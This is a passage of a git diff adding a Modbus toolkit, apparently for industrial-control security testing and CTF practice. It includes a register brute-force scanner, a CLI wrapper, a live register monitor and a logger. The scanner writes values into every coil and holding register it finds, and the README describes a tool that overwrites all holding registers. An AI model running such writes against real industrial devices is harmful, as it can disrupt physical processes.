wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data 